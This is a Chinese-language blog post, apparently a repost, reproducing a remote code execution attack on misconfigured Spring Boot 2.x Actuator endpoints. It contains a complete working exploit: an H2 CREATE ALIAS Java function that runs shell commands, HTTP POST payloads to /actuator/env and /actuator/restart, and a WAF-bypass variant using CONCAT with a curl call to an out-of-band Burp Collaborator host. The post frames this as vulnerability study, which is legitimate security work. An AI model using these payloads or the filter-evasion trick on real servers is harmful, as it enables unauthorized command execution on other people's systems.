Spring Boot 2.x Actuator配置不当RCE漏洞复现

2020-04-02 约 177 字 预计阅读 1 分钟

声明:本文 【Spring Boot 2.x Actuator配置不当RCE漏洞复现】 由作者 anan**** 于 2020-04-02 09:58:19 首发 先知社区 曾经 浏览数 110 次

感谢 anan**** 的辛苦付出!

0x00 前言

在对springboot acturator配置不当漏洞进行学习时,常见的是针对springboot 1.x版本的2种方式。对于springboot 2.x版本的利用很少提起,在阅读到了一篇在springboot 2.x版本下的利用方式后,对其进行复现,故有此文章。文章中的环境放在github上了

0x01 HikariCP数据库连接池

之前的两个RCE都是在Spring Boot 1.x版本下进行的,在spring 2.x下的版本如何进行RCE呢。幸运的是,Spring Boot 2.x默认使用的HikariCP数据库连接池提供了一个可以RCE的变量。这个变量就是spring.datasource.hikari.connection-test-query。这个变量与HikariCP中的connectionTestQuery配置相匹配。根据文档,此配置定义的是在从池中给出一个连接之前被执行的query,它的作用是验证数据库连接是否处于活动状态。简言之,无论何时一个恶心的数据库连接被建立时,spring.datasource.hikari.connection-test-query的值将会被作为一个SQL语句执行。然后利用SQL语句中的用户自定义函数,进行RCE。

0x02 H2 CREATE ALIAS 命令

H2数据库引擎是一个流行的java开发数据库,非常容易与Spring Boot集成,仅仅需要如下的一个dependency。

<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <scope>runtime</scope>
</dependency>

在H2中有一个非常重要的命令,与PostgreSQL中的用户定义函数相似,可以用CREATE ALIAS创建一个java函数然后调用它,示例如下:

CREATE ALIAS GET_SYSTEM_PROPERTY FOR "java.lang.System.getProperty";
CALL GET_SYSTEM_PROPERTY('java.class.path');

仿照这个,创建命令执行的java函数可以如下:

String shellexec(String cmd) throws java.io.IOException { 
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());
    if (s.hasNext()) {
        return s.next();
    } throw new IllegalArgumentException(); 
}

那么RCE所需的SQL语句即:

CREATE ALIAS EXEC AS "String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());  if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}";
CALL EXEC('/Applications/Calculator.app/Contents/MacOS/Calculator');

与1.x类似,在端点/actuator/env通过POST方法进行环境变量的赋值。payload为

POST /actuator/env HTTP/1.1

content-type: application/json

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());  if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('/Applications/Calculator.app/Contents/MacOS/Calculator');"}

执行RCE的SQL语句已经构建好,接下来就是触发一个新的数据库连接,通过向端点/actuator/restart发送POST请求,即可重启应用出发新的数据库连接。请求如下

POST /actuator/restart HTTP/1.1

content-type: application/json

{}

命令执行的结果:

0x03 针对WAFs

在这点上,可能会遇到常见的WAF过滤器,特别是对exec的过滤。然而,像这样的一个payload可以很容易地使用多种字符串拼接技术来绕过。比如使用CONCAT或HEXTORAW命令。上面的payload可写成

CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream());  if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');
CALL EXEC('curl  http://x.burpcollaborator.net');

0x04 有限的执行上下文的命令注入

spring.datasource.hikari.connection-test-query是用来验证连接到数据库的连接是否存活。如果语句失败,应用会相信数据库无法连接并不再返回其他的数据库查询。攻击者可利用此来获得一个blind RCE。

参考

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now